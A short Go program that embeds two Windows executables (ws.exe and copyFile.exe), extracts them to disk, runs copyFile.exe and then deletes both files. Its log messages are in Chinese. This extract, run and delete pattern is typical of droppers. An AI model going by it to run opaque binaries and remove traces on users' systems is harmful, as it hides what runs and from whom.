package main

import (
	"embed"
	"io"
	"log"
	"os"
	"os/exec"
	"time"
)

//go:embed ws.exe copyFile.exe
var exeFiles embed.FS

func extractFile(fileName, outputName string) {
	file, err := exeFiles.Open(fileName)
	if err != nil {
		log.Fatalf("无法打开嵌入的文件 %s: %v", fileName, err)
	}
	defer file.Close()

	outputFile, err := os.Create(outputName)
	if err != nil {
		log.Fatalf("无法创建输出文件 %s: %v", outputName, err)
	}
	defer outputFile.Close()

	_, err = io.Copy(outputFile, file)
	if err != nil {
		log.Fatalf("无法从 %s 复制文件内容到 %s: %v", fileName, outputName, err)
	}

	log.Printf("%s 已成功提取到 %s.", fileName, outputName)
}

func main() {
	extractFile("ws.exe", "ws.exe")
	extractFile("copyFile.exe", "copyFile.exe")
	time.Sleep(time.Second * 1)
	// 运行 extracted_abc.exe
	cmd := exec.Command("copyFile.exe")
	err := cmd.Run()
	if err != nil {
		log.Fatalf("运行 copyFile.exe 时出错: %v", err)
	}
	log.Println("extracted_abc.exe 已成功运行。")
	os.Remove("copyFile.exe")
	os.Remove("ws.exe")
}
